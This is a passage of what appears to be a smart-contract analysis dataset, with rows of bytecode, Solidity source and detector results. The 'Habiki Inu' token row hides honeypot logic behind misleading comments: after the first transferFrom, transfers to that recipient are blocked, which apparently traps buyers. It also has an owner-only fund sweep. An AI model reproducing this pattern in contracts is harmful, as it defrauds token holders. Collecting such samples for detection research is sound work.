b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220859f15efb36beb1cc232b58b48900415dcc701e738a3addd975e4939e26b1e5464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 987 |
0x4b49dd56b632225845f43ccc1eba9a050766e6ef | /**
*Submitted for verification at Etherscan.io on 2021-11-01
*/
/**
*Submitted for verification at Etherscan.io on
*/
//SPDX-License-Identifier: UNLICENSED
/*
____ ____ _ ______ _____ ___ ____ _____ ____ _____ _____ _____
|_ || _| / \ |_ _ \ |_ _||_ ||_ _| |_ _||_ \|_ _||_ _||_ _|
| |__| | / _ \ | |_) | | | | |_/ / | | | \ | | | | | |
| __ | / ___ \ | __'. | | | __'. | | | |\ \| | | ' ' |
_| | | |_ _/ / \ \_ _| |__) |_| |_ _| | \ \_ _| |_ _| |_\ |_ \ \__/ /
|____||____||____| |____||_______/|_____||____||____||_____||_____|\____| `.__.'
*/
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "HABIKINU";
name = "Habiki Inu";
decimals = 9;
_totalSupply = 1000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
} | 0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820183792663e23402dcddf1ae58036491c1e452dfd5a31863344f492d42993197d64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 988 |
0xC172de5fAdC8B58c026405288230F054f1027A86 | pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
